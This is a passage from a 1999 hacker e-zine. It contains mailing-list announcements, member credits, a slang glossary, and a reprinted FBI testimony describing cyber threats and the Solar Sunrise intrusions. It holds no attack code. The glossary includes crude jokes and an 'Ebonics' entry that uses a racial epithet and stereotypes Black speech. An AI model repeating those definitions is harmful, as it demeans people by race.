Bugtraq and the community in general. If you are interested in viewing the staff pages, please see the 'About' section on www.securityfocus.com. On the community creating front you will find a set of forums and mailing lists we hope you will find useful. A number of them are not scheduled to start for several weeks but starting today the following list is available: * Incidents' Mailing List. BUGTRAQ has always been about the discussion of new vulnerabilities. As such I normally don't approve messages about break-ins, trojans, viruses, etc with the exception of wide spread cases (Melissa, ADM worm, etc). The other choice people are usually left with is email CERT but this fails to communicate this important information to other that may be potentially affected. The Incidents mailing list is a lightly moderated mailing list to facilitate the quick exchange of security incident information. Topical items include such things as information about rootkits new trojan horses and viruses, source of attacks and tell-tale signs of intrusions. To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body of: SUBS INCIDENTS FirstName, LastName Shortly we'll also be introducing an Information Warfare forum along with ten other forums over the next two months. These forums will be built and moderated by people in the community as well as vendors who are willing to take part in the community building process. *Note to the vendors here* We have several security vendors who have agreed to run forums where they can participate in the online communities. If you would like to take part as well, mail Alfred Huger, ahuger@securityfocus.com. On the information resource front you find a large database of the following: * Vulnerabilities. We are making accessible a free vulnerability database. You can search it by vendor, product and keyword. You will find detailed information on the vulnerability and how to fix it, as well are links to reference information such as email messages, advisories and web pages. You can search by vendor, product and keywords. The database itself is the result of culling through 5 years of BUGTRAQ plus countless other lists and news groups. It's a shining example of how thorough full disclosure has made a significant impact on the industry over the last half decade. * Products. An incredible number of categorized security products from over two hundred different vendors. * Services. A large and focused directory of security services offered by vendors. * Books, Papers and Articles. A vast number of categorized security related books, papers and articles. Available to download directly for our servers when possible. * Tools. A large array of free security tools. Categorized and available for download. * News: A vast number of security news articles going all the way back to 1995. * Security Resources: A directory to other security resources on the net. As well as many other things such as an event calendar. For your convenience the home-page can be personalized to display only information you may be interested in. You can filter by categories, keywords and operating systems, as well as configure how much data to display. I'd like to thank the fine folks at NETSPACE for hosting the site for as long as they have. Their services have been invaluable. I hope you find these changes for the best and the new services useful. I invite you to visit http://www.securityfocus.com/ and check it out for yourself. If you have any comments or suggestions please feel free to contact me at this address or at aleph1@securityfocus.com. Cheers. -- Aleph One / aleph1@underground.org http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 Crypto-Gram ~~~~~~~~~~~ CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses, insights, and commentaries on cryptography and computer security. To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a blank message to crypto-gram-subscribe@chaparraltree.com.  To unsubscribe, visit http://www.counterpane.com/unsubform.html.  Back issues are available on http://www.counterpane.com. CRYPTO-GRAM is written by Bruce Schneier.  Schneier is president of Counterpane Systems, the author of "Applied Cryptography," and an inventor of the Blowfish, Twofish, and Yarrow algorithms.  He served on the board of the International Association for Cryptologic Research, EPIC, and VTW.  He is a frequent writer and lecturer on cryptography. CUD Computer Underground Digest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This info directly from their latest ish: Computer underground Digest    Sun  14 Feb, 1999   Volume 11 : Issue 09                             ISSN  1004-042X        Editor: Jim Thomas (cudigest@sun.soci.niu.edu)        News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)        Archivist: Brendan Kehoe        Poof Reader:   Etaion Shrdlu, Jr.        Shadow-Archivists: Dan Carosone / Paul Southworth                           Ralph Sims / Jyrki Kuoppala                           Ian Dickinson        Cu Digest Homepage: http://www.soci.niu.edu/~cudigest [ISN] Security list ~~~~~~~~~~~~~~~~~~~ This is a low volume list with lots of informative articles, if I had my way i'd reproduce them ALL here, well almost all .... ;-) - Ed UPDATED Sept/99 - Sent in by Androthi, tnx for the update ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --[ New ISN announcement (New!!) Sender: ISN Mailing List From: mea culpa Subject: Where has ISN been? Comments: To: InfoSec News To: ISN@SECURITYFOCUS.COM It all starts long ago, on a network far away.. Not really. Several months ago the system that hosted the ISN mail list was taken offline. Before that occured, I was not able to retrieve the subscriber list. Because of that, the list has been down for a while. I opted to wait to get the list back rather than attempt to make everyone resubscribe. As you can see from the headers, ISN is now generously being hosted by Security Focus [www.securityfocus.com]. THey are providing the bandwidth, machine, and listserv that runs the list now. Hopefully, this message will find all ISN subscribers, help us weed out dead addresses, and assure you the list is still here. If you have found the list to be valuable in the past, please tell friends and associates about the list. To subscribe, mail listserv@securityfocus.com with "subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn". As usual, comments and suggestions are welcome. I apologize for the down time of the list. Hopefully it won't happen again. ;) mea_culpa www.attrition.org --[ Old ISN welcome message [Last updated on: Mon Nov 04 0:11:23 1998] InfoSec News is a privately run, medium traffic list that caters to distribution of information security news articles. These articles will come from newspapers, magazines, online resources, and more. The subject line will always contain the title of the article, so that you may quickly and effeciently filter past the articles of no interest. This list will contain: o Articles catering to security, hacking, firewalls, new security encryption, products, public hacks, hoaxes, legislation affecting these topics and more. o Information on where to obtain articles in current magazines. o Security Book reviews and information. o Security conference/seminar information. o New security product information. o And anything else that comes to mind.. Feedback is encouraged. The list maintainers would like to hear what you think of the list, what could use improving, and which parts are "right on". Subscribers are also encouraged to submit articles or URLs. If you submit an article, please send either the URL or the article in ASCII text. Further, subscribers are encouraged to give feedback on articles or stories, which may be posted to the list. Please do NOT: * subscribe vanity mail forwards to this list * subscribe from 'free' mail addresses (ie: juno, hotmail) * enable vacation messages while subscribed to mail lists * subscribe from any account with a small quota All of these generate messages to the list owner and make tracking down dead accounts very difficult. I am currently receiving as many as fifty returned mails a day. Any of the above are grounds for being unsubscribed. You are welcome to resubscribe when you address the issue(s). Special thanks to the following for continued contribution: William Knowles, Aleph One, Will Spencer, Jay Dyson, Nicholas Brawn, Felix von Leitner, Phreak Moi and other contributers. ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn ISN Archive: http://www.landfield.com/isn ISN Archive: http://www.jammed.com/Lists/ISN/ ISN is Moderated by 'mea_culpa' . ISN is a private list. Moderation of topics, member subscription, and everything else about the list is solely at his discretion. The ISN membership list is NOT available for sale or disclosure. ISN is a non-profit list. Sponsors are only donating to cover bandwidth and server costs. @HWA 00.3 THIS IS WHO WE ARE ~~~~~~~~~~~~~~~~~~ __ ___ ___ \ \ / / |__ ___ __ _ _ __ _____ ____|__ \ \ \ /\ / /| '_ \ / _ \ / _` | '__/ _ \ \ /\ / / _ \/ / \ V V / | | | | (_) | (_| | | | __/\ V V / __/_| \_/\_/ |_| |_|\___/ \__,_|_| \___| \_/\_/ \___(_) Some HWA members and Legacy staff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ cruciphux@dok.org.........: currently active/editorial darkshadez@ThePentagon.com: currently active/man in black fprophet@dok.org..........: currently active/programming/IRC+ man in black sas2@usa.net .............. currently active/IRC+ distribution vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black dicentra...(email withheld): IRC+ grrl in black twisted-pair@home.com......: currently active/programming/IRC+ Foreign Correspondants/affiliate members ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Qubik ............................: United Kingdom D----Y ...........................: USA/world media HWA members ......................: World Media Past Foreign Correspondants (currently inactive or presumed dead) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sla5h.............................: Croatia N0Portz ..........................: Australia system error .....................: Indonesia Wile (wile coyote) ...............: Japan/the East Ruffneck ........................: Netherlands/Holland Wyze1.............................: South Africa Please send in your sites for inclusion here if you haven't already also if you want your emails listed send me a note ... - Ed Spikeman's site is down as of this writing, if it comes back online it will be posted here. http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian) Sla5h's email: smuddo@yahoo.com ******************************************************************* *** /join #HWA.hax0r.news on EFnet the key is `zwen' *** ******************************************************************* :-p 1. We do NOT work for the government in any shape or form.Unless you count paying taxes ... in which case we work for the gov't in a BIG WAY. :-/ 2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news events its a good idea to check out issue #1 at least and possibly also the Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ... @HWA 00.4 Whats in a name? why HWA.hax0r.news?? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Well what does HWA stand for? never mind if you ever find out I may have to get those hax0rs from 'Hackers' or the Pretorians after you. In case you couldn't figure it out hax0r is "new skewl" and although it is laughed at, shunned, or even pidgeon holed with those 'dumb leet (l33t?) dewds' this is the state of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you up and comers, i'd highly recommend you get that book. Its almost like buying a clue. Anyway..on with the show .. - Editorial staff @HWA 00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _ ___ ___ _____ _ ___ | | | \ \ / / \ | ___/ \ / _ \ | |_| |\ \ /\ / / _ \ | |_ / _ \| | | | | _ | \ V V / ___ \ _| _/ ___ \ |_| | |_| |_| \_/\_/_/ \_(_)_|/_/ \_\__\_\ Also released in issue #3. (revised) check that issue for the faq it won't be reprinted unless changed in a big way with the exception of the following excerpt from the FAQ, included to assist first time readers: Some of the stuff related to personal useage and use in this zine are listed below: Some are very useful, others attempt to deny the any possible attempts at eschewing obfuscation by obsucuring their actual definitions. @HWA - see EoA ;-) != - Mathematical notation "is not equal to" or "does not equal" ASC(247) "wavey equals" sign means "almost equal" to. If written an =/= (equals sign with a slash thru it) also means !=, =< is Equal to or less than and => is equal to or greater than (etc, this aint fucking grade school, cripes, don't believe I just typed all that..) AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21) AOL - A great deal of people that got ripped off for net access by a huge clueless isp with sekurity that you can drive buses through, we're not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the least they could try leasing one?? *CC - 1 - Credit Card (as in phraud) 2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's CCC - Chaos Computer Club (Germany) *CON - Conference, a place hackers crackers and hax0rs among others go to swap ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk watch videos and seminars, get drunk, listen to speakers, and last but not least, get drunk. *CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker speak he's the guy that breaks into systems and is often (but by no means always) a "script kiddie" see pheer 2 . An edible biscuit usually crappy tasting without a nice dip, I like jalapeno pepper dip or chives sour cream and onion, yum - Ed Ebonics - speaking like a rastafarian or hip dude of colour also wigger Vanilla Ice is a wigger, The Beastie Boys and rappers speak using ebonics, speaking in a dark tongue ... being ereet, see pheer EoC - End of Commentary EoA - End of Article or more commonly @HWA EoF - End of file EoD - End of diatribe (AOL'ers: look it up) FUD - Coined by Unknown and made famous by HNN - "Fear uncertainty and doubt", usually in general media articles not high brow articles such as ours or other HNN affiliates ;) du0d - a small furry animal that scurries over keyboards causing people to type weird crap on irc, hence when someone says something stupid or off topic 'du0d wtf are you talkin about' may be used. *HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R *HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to define, I think it is best defined as pop culture's view on The Hacker ala movies such as well erhm "Hackers" and The Net etc... usually used by "real" hackers or crackers in a derogatory or slang humorous way, like 'hax0r me some coffee?' or can you hax0r some bread on the way to the table please?' 2 - A tool for cutting sheet metal. HHN - Maybe a bit confusing with HNN but we did spring to life around the same time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper noun means the hackernews site proper. k? k. ;& HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d MFI/MOI- Missing on/from IRC NFC - Depends on context: No Further Comment or No Fucking Comment NFR - Network Flight Recorder (Do a websearch) see 0wn3d NFW - No fuckin'way *0WN3D - You are cracked and owned by an elite entity see pheer *OFCS - Oh for christ's sakes PHACV - And variations of same Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare Alternates: H - hacking, hacktivist C - Cracking C - Cracking V - Virus W - Warfare A - Anarchy (explosives etc, Jolly Roger's Cookbook etc) P - Phreaking, "telephone hacking" PHone fREAKs ... CT - Cyber Terrorism *PHEER - This is what you do when an ereet or elite person is in your presence see 0wn3d *RTFM - Read the fucking manual - not always applicable since some manuals are pure shit but if the answer you seek is indeed in the manual then you should have RTFM you dumb ass. TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0 TBA - To Be Arranged/To Be Announced also 2ba TFS - Tough fucking shit. *w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions from the underground masses. also "w00ten" 2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers) *wtf - what the fuck, where the fuck, when the fuck etc .. *ZEN - The state you reach when you *think* you know everything (but really don't) usually shortly after reaching the ZEN like state something will break that you just 'fixed' or tweaked. @HWA -=- :. .: -=- 01.0 Greets!?!?! yeah greets! w0w huh. - Ed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ____ _ / ___|_ __ ___ ___| |_ ___ | | _| '__/ _ \/ _ \ __/ __| | |_| | | | __/ __/ |_\__ \ \____|_| \___|\___|\__|___/ Thanks to all in the community for their support and interest but i'd like to see more reader input, help me out here, whats good, what sucks etc, not that I guarantee i'll take any notice mind you, but send in your thoughts anyway. * all the people who sent in cool emails and support FProphet Pyra TwstdPair _NeM_ D----Y Dicentra vexxation sAs72 Spikeman p0lix Vortexia Wyze1 Pneuma Raven Zym0t1c duro Repluzer astral BHZ ScrewUp Qubik gov-boi _Jeezus_ Haze_ thedeuce ytcracker Folks from #hwa.hax0r,news and #fawkerz, #ninjachat and #sesame Ken Williams/tattooman ex-of PacketStorm, & Kevin Mitnick kewl sites: + http://www.hack.co.za NEW + http://blacksun.box.sk. NEW + http://packetstorm.securify.com/ NEW + http://www.securityportal.com/ NEW + http://www.securityfocus.com/ NEW + http://www.hackcanada.com/ + http://www.l0pht.com/ + http://www.2600.com/ + http://www.freekevin.com/ + http://www.genocide2600.com/ + http://www.hackernews.com/ (Went online same time we started issue 1!) + http://www.net-security.org/ + http://www.slashdot.org/ + http://www.freshmeat.net/ + http://www.403-security.org/ + http://ech0.cjb.net/ @HWA 01.1 Last minute stuff, rumours and newsbytes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "What is popular isn't always right, and what is right isn't always popular..." - FProphet '99 +++ When was the last time you backed up your important data? Thanks to myself for providing the info from my wired news feed and others from whatever sources, also to Spikeman for sending in past entries.... - Ed @HWA 01.2 MAILBAG - email and posts from the message board worthy of a read ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Yeah we have a message board, feel free to use it, remember there are no stupid questions... well there are but if you ask something really dumb we'll just laugh at ya, lets give the message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org domain comes back online (soon) meanwhile the beseen board is still up... ============================================================================== 02.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /* * * * * * * * * */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. -= start =--= start =--= start =--= start =--= start =--= start =--= start ____ _ _ / ___|___ _ __ | |_ ___ _ __ | |_ | | / _ \| '_ \| __/ _ \ '_ \| __| | |__| (_) | | | | || __/ | | | |_ \____\___/|_| |_|\__\___|_| |_|\__| / ___|| |_ __ _ _ __| |_ \___ \| __/ _` | '__| __| ___) | || (_| | | | |_ |____/ \__\__,_|_| \__| -= start =--= start =--= start =--= start =--= start =--= start =--= 03.0 Solar Sunrise: The FBI operation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HNN reported that a new video was released by the FBI called "Solar Sunrise: The dawn of a new threat" about hackers and their perceived threat to commercial (and gov) systems. While I was searching the FBI website for info on this I came up with a link to an operation Solar Sunrise, where the FBI had been investigating the attacks and break-ins of govt systems. Below is the full text of the report. http://www.fbi.gov/pressrm/congress/nipc10-6.htm Introduction Mr. Chairman, Senator Feinstein, and Members of the Committee: Thank you for inviting me here today to discuss critical infrastructure protection issues. Mr. Chairman, you and this committee have been leaders in recognizing the importance of these issues and the urgency of addressing the new threats to our national security in the Information Age, and I welcome this opportunity to share our perspectives with you today. As you know, the Federal Government is developing its capabilities for dealing with threats to our nation's infrastructures. Presidential Decision Directive-63 set in motion an unprecedented effort to protect our nation's critical infrastructures, which the PDD defined as "those physical and cyber-based systems essential to the minimum operations of the economy and government." Critical infrastructures include telecommunications, energy, banking and finance, transportation, water systems, and emergency services, both public and private. The PDD formally designated the National Infrastructure Protection Center (NIPC) to have a central operational role in the government's effort. The Center works closely with the National Coordinator for Security, Infrastructure Protection, and Counter-terrorism; the Department of Defense (DoD); the U.S. Intelligence Community (USIC); other federal agencies; and the private sector to protect our critical infrastructures. My statement will cover the spectrum of threats we are facing and the status of the NIPC and its activities. Spectrum of Threats The news media is filled with examples of intrusions into government and private sector computer networks. Politically motivated hackers have been attacking numerous U.S. Government websites, including the Senate's. Deputy Secretary of Defense John Hamre reported in February that DoD is "detecting 80 to 100 [potential hacking] events daily." We have had several damaging computer viruses this year, including the Melissa Macro Virus, the Explore.Zip Worm, and the CIH (Chernobyl) Virus. Computer Economics, Inc., a California firm, estimates that damage in the first two quarters of 1999 from viruses has topped $7 billion. The FBI's case load for computer hacking and network intrusion cases has doubled each of the last two years. Currently we have over 800 pending investigations. In its 1999 survey, the Computer Security Institute estimated the total financial losses by the 163 businesses it surveyed from computer security breaches at $123.7 million. This includes everything from theft of proprietary data to denial of service on networks. E-commerce has become so important that firms, including Sedgwick Group PLC (in cooperation with IBM), Lloyds of London, and Network Risk Management Services, are now offering "hacker insurance." Sensitive Intrusions In the past few years we have seen a series of intrusions into numerous Department of Defense computer networks as well as networks of other federal agencies, universities, and private sector entities. Intruders have successfully accessed U.S. Government networks and took large amounts of unclassified but sensitive information. In investigating these cases, the NIPC has been coordinating with FBI Field Offices, the Department of Defense, and other government agencies, as circumstances require. But it is important that the Congress and the American public understand the very real threat that we are facing in the cyber realm, not just in the future, but now. Information Warfare Perhaps the greatest potential threat to our national security is the prospect of "information warfare" by foreign militaries against our critical infrastructures. We know that several foreign nations are already developing information warfare doctrine, programs, and capabilities for use against each other and the United States or other nations. Foreign nations are developing information warfare programs because they see that they cannot defeat the United States in a head-to-head military encounter and they believe that information operations are a way to strike at what they perceive as America's Achilles Heel -- our reliance on information technology to control critical government and private sector systems. For example, two Chinese military officers recently published a book that called for the use of unconventional measures, including the propagation of computer viruses, to counterbalance the military power of the United States. In addition, during the recent conflict in Yugoslavia, hackers sympathetic to Serbia electronically "ping" attacked NATO web servers. And Russian as well as other individuals supporting the Serbs attacked websites in NATO countries, including the United States, using virus-infected e-mail and hacking attempts. Over 100 entities in the United States received these e-mails. Several British organizations lost files and databases. These attacks did not cause any disruption of the military effort, and the attacked entities quickly recovered. But such attacks are portents of much more serious attacks that we can expect foreign adversaries to attempt in future conflicts. Foreign intelligence services Foreign intelligence services have adapted to using cyber tools as part of their information gathering and espionage tradecraft. In a case dubbed "the Cuckoo's Egg," between 1986 and 1989 a ring of West German hackers penetrated numerous military, scientific, and industry computers in the United States, Western Europe, and Japan, stealing passwords, programs, and other information which they sold to the Soviet KGB. Significantly, this was over a decade ago -- ancient history in Internet years. While I cannot go into specifics about the situation today in an open hearing, it is clear that foreign intelligence services increasingly view computer intrusions as a useful tool for acquiring sensitive U.S. government and private sector information. Terrorists Terrorists are known to use information technology and the Internet to formulate plans, raise funds, spread propaganda, and to communicate securely. For example, convicted terrorist Ramzi Yousef, the mastermind of the World Trade Center bombing, stored detailed plans to destroy United States airliners on encrypted files on his laptop computer. Moreover, some groups have already used cyber attacks to inflict damage on their enemies' information systems. For example, a group calling itself the Internet Black Tigers conducted a successful "denial of service" attack on servers of Sri Lankan government embassies. Italian sympathizers of the Mexican Zapatista rebels attacked web pages of Mexican financial institutions. And a Canadian government report indicates that the Irish Republican Army has considered the use of information operations against British interests. We are also concerned that Aum Shinrikyo, which launched the deadly Sarin gas attack in the Tokyo subway system, could use its growing expertise in computer manufacturing and Internet technology to develop "cyber terrorism" weapons for use against Japanese and U.S. interests. Thus while we have yet to see a significant instance of "cyber terrorism" with widespread disruption of critical infrastructures, all of these facts portend the use of cyber attacks by terrorists to cause pain to targeted governments or civilian populations by disrupting critical systems. Criminal Groups We are also beginning to see the increased use of cyber intrusions by criminal groups who attack systems for purposes of monetary gain. For example, in 1994 the U.S. Secret Service uncovered a $50 million phone card scam that abused the accounts of AT&T, MCI, and Sprint customers. In addition, in 1994-95 an organized crime group headquartered in St. Petersburg, Russia, transferred $10.4 million from Citibank into accounts all over the world. After surveillance and investigation by the FBI's New York field office, all but $400,000 of the funds were recovered. In another case, Carlos Felipe Salgado, Jr. gained unauthorized access to several Internet Service Providers in California and stole 100,000 credit card numbers with a combined limit of over $1 billion. The FBI arrested him in the San Francisco International Airport when he tried to sell the credit card numbers to a cooperating witness for $260,000. With the expansion of electronic commerce, we expect to see an increase in hacking by organized crime as the new frontier for large-scale theft. Just two weeks ago, two members of a group dubbed the "Phonemasters" were sentenced after their conviction for theft and possession of unauthorized access devices (18 USC §1029) and unauthorized access to a federal interest computer (18 USC §1030). The "Phonemasters" are an international group of criminals who penetrated the computer systems of MCI, Sprint, AT&T, Equifax, and even the FBI's National Crime Information Center (NCIC). Under judicially approved electronic surveillance orders, the FBI's Dallas Field Office made use of new data intercept technology to monitor the calling activity and modem pulses of one of the suspects, Calvin Cantrell. Mr. Cantrell downloaded thousands of Sprint calling card numbers, which he sold to a Canadian individual, who passed them on to someone in Ohio. These numbers made their way to an individual in Switzerland and eventually ended up in the hands of organized crime groups in Italy. Mr. Cantrell was sentenced to two years as a result of his guilty plea, while one of his associates, Cory Lindsay, was sentenced to 41 months. The "Phonemasters" activities should serve as a wake up call for corporate security. Their methods included "dumpster diving" to gather old phone books and technical manuals for systems. They then used this information to trick employees into giving up their logon and password information. The group then used this information to break into victim systems. It is important to remember that often "cyber crimes" are facilitated by old fashioned guile, such as calling employees and tricking them into giving up passwords. Good "cyber security" practices must therefore address personnel security and "social engineering" in addition to instituting electronic security measures. Virus Writers Virus writers are posing an increasingly serious threat to networks and systems worldwide. As noted above, we have had several damaging computer viruses this year, including the Melissa Macro Virus, the Explore.Zip worm, and the CIH (Chernobyl) Virus. The NIPC frequently sends out warnings regarding particularly dangerous viruses. Earlier this year, we reacted quickly to the spread of the Melissa Macro Virus. While there are dozens of viruses released every day, the speedy propagation of Melissa and its effects on networks caused us great concern. Within hours of learning about the virus on Friday, March 26, 1999, we had coordinated with key cyber response components of DoD and the Computer Emergency Response Team (CERT) at Carnegie-Mellon University. Our Watch operation went into 24-hour posture and sent out warning messages to federal agencies, state and local law enforcement, FBI Field Offices, and the private sector. Because the virus affected systems throughout the public, we also took the unusual step of issuing a public warning through the FBI's Public Affairs Office and on our website. These steps helped mitigate the damage by alerting computer users of the virus and of protective steps they could take. On the investigative side, the NIPC acted as a central point of contact for the Field Offices who worked leads on the case. A tip received by the New Jersey State Police from America Online, and their follow-up investigation with the FBI's Newark Field Office, led to the April 1, 1999 arrest of David L. Smith. Search warrants were executed in New Jersey by the New Jersey State Police and FBI Special Agents from the Newark Field Office. Just in the last few weeks we have seen reports on the Suppl Word Macro virus, the toadie.exe virus, and the W97M/Thurs.A (or Thursday) virus. This last virus has already infected over 5,000 machines, according to news reports, and deletes files on victim's hard drives. The payload of the virus is triggered on 12-13 and disables the macro virus protection in Word 97. We are also concerned with the propagation of a Trojan Horse called Back Orifice 2000, which allows malicious actors to monitor or tamper with computers undetected by the users. Virus writers are not often broken out as a threat category, and yet they often do more damage to networks than hackers do. The prevalence of computer viruses reminds us that we all have to be very careful about the attachments we open and we all must be sure to keep our anti-virus software up-to-date. Hactivism Recently we have seen a rise in what has been dubbed "hacktivism"-- politically motivated attacks on publicly accessible web pages or e-mail servers. These groups and individuals overload e-mail servers and hack into web sites to send a political message. While these attacks generally have not altered operating systems or networks, they still damage services and deny the public access to websites containing valuable information and infringe on others' right to communicate. One such group is called the "Electronic Disturbance Theater," which promotes civil disobedience on-line in support of its political agenda regarding the Zapatista movement in Mexico and other issues. This past spring they called for worldwide electronic civil disobedience and have taken what they term "protest actions" against White House and Department of Defense servers. Supporters of Kevin Mitnick, recently convicted of numerous computer security offenses, hacked into the Senate webpage and defaced it in May and June of this past year. The Internet has enabled new forms of political gathering and information sharing for those who want to advance social causes; that is good for our democracy. But illegal activities that disrupt e-mail servers, deface web-sites, and prevent the public from accessing information on U.S. government and private sector web sites should be regarded as criminal acts that deny others their First Amendment rights to communicate rather than as an acceptable form of protest. "Recreational" Hackers Virtually every day we see a report about "recreational hackers," or "crackers," who crack into networks for the thrill of the challenge or for bragging rights in the hacker community. While remote cracking once required a fair amount of skill or computer knowledge, the recreational hacker can now download attack scripts and protocols from the World Wide Web and launch them against victim sites. Thus while attack tools have become more sophisticated, they have also become easier to use. These types of hacks are very numerous and may appear on their face to be benign. But they can have serious consequences. A well-known example of this involved a juvenile who hacked into the NYNEX (now Bell Atlantic) telephone system that serviced the Worcester, Massachusetts area using his personal computer and modem. The hacker shut down telephone service to 600 customers in the local community. The resulting disruption affected all local police and fire 911 services as well as the ability of incoming aircraft to activate the runway lights at the Worcester airport. Telephone service was out at the airport tower for six hours. The U.S. Secret Service investigation of this case also brought to light a vulnerability in 22,000 telephone switches nationwide that could be taken down with four keystrokes. Because he was a juvenile, however, the hacker was sentenced to only two years probation and 250 hours of community service, and was forced to forfeit the computer equipment used to hack into the phone system and reimburse the phone company for $5,000. This case demonstrated that an attack against our critical communications hubs can have cascading effects on several infrastructures. In this case, transportation, emergency services, and telecommunications were disrupted. It also showed that widespread disruption could be caused by a single person from his or her home computer. Insider Threat The disgruntled insider is a principal source of computer crimes. Insiders do not need a great deal of knowledge about computer intrusions, because their knowledge of victim systems often allows them to gain unrestricted access to cause damage to the system or to steal system data. The 1999 Computer Security Institute/FBI report notes that 55% of respondents reported malicious activity by insiders. There are many cases in the public domain involving disgruntled insiders. For example, Shakuntla Devi Singla used her insider knowledge and another employee's password and logon identification to delete data from a U.S. Coast Guard personnel database system. It took 115 agency employees over 1800 hours to recover and reenter the lost data. Ms. Singla was convicted and sentenced to five months in prison, five months home detention, and ordered to pay $35,000 in restitution. In another case, a former Forbes employee named George Parente hacked got into Forbes systems using another employee's password and login identification and crashed over half of Forbes' computer network servers and erased all of the data on each of the crashed services. The data could not be restored. The losses to Forbes were reportedly over $100,000. Identifying the Intruder One major difficulty that distinguishes cyber threats from physical threats is determining who is attacking your system, why, how, and from where. This difficulty stems from the ease with which individuals can hide or disguise their tracks by manipulating logs and directing their attacks through networks in many countries before hitting their ultimate target. The now well know "Solar Sunrise" case illustrates this point. Solar Sunrise was a multi-agency investigation (which occurred while the NIPC was being established) of intrusions into more than 500 military, civilian government, and private sector computer systems in the United States, during February and March 1998. The intrusions occurred during the build-up of United States military personnel in the Persian Gulf in response to tension with Iraq over United Nations weapons inspections. The intruders penetrated at least 200 unclassified U.S. military computer systems, including seven Air Force bases and four Navy installations, Department of Energy National Laboratories, NASA sites, and university sites. Agencies involved in the investigation included the FBI, DoD, NASA, Defense Information Systems Agency, AFOSI, and the Department of Justice. The timing of the intrusions and links to some Internet Service Providers in the Gulf region caused many to believe that Iraq was behind the intrusions. The investigation, however, revealed that two juveniles in Cloverdale, California and several individuals in Israel were the culprits. Solar Sunrise thus demonstrated to the interagency community how difficult it is to identify an intruder until facts are gathered in an investigation, and why assumptions cannot be made until sufficient facts are available. It also vividly demonstrated the vulnerabilities that exist in our networks; if these individuals were able to assume "root access" to DoD systems, it is not difficult to imagine what hostile adversaries with greater skills and resources would be able to do. Finally, Solar Sunrise demonstrated the need for interagency coordination by the NIPC. Special Threat: Y2K Malicious Activity The main concern with the Y2K rollover is, of course, the possibility of widespread service outages caused by the millennium date problem in older computer systems. The President's Y2K Council has done an excellent job in helping the nation prepare for the rollover event. Given our overall mission under PDD 63, the NIPC's role with regard to Y2K will be to maintain real-time awareness of intentional cyber threats or incidents that might take place around the transition to 2000, disseminate warnings to the appropriate government and private sector parties, and coordinate the government's response to such incidents. We are not responsible for dealing with system outages caused by the millennium bug. Because of the possibility that there might be an increase in malicious activity around January 1, 2000, we have formulated contingency plans both for NIPC Headquarters and the FBI Field Offices. We are presently augmenting our existing relationships and information-sharing mechanisms with relevant entities in the federal government, such as the Information Coordination Center (ICC), state and local governments, private industry, and the CERT/FIRST community. Information will come to us from a variety of places, including FBI field offices and Legal Attaches overseas, as well as the ICC. FBI field offices are also tasked to establish Y2K plans for their regions of responsibility. In essence, all of the activities that we will undertake during the rollover period are ones we perform everyday. The difference is that we will be prepared to conduct them at an increased tempo to deal with any incidents occurring during the Y2K rollover. There is one potential problem associated with Y2K that causes us special concern -- the possibility that malicious actors, foreign or domestic, could use the Y2K remediation process to install malicious code in the "remediated" software. Thousands of companies across the United States and around the world are busy having their source code reviewed to ensure that they are "Y2K compliant." Those who are doing the Y2K remediation are almost always contractors who are given the status of a trusted insider with broad authority to review and make changes to the source code that runs information systems. These contractors could, undetected, do any of the following to compromise systems: Install Trap Doors: By installing trap doors, intruders can later gain access to a system through an opening that they have created and then exploit or attack the system Obtain "Root Access": Given their level of access, remediation companies can gain the same extensive privileges as the system administrator, allowing them to steal or alter information or engage in a "denial of service" attack on the system. Implant Malicious Code: By implanting malicious code, someone could place a logic bomb or a time-delayed virus in a system that will later disrupt it. A malicious actor could also implant a program to compromise passwords or other aspects of system 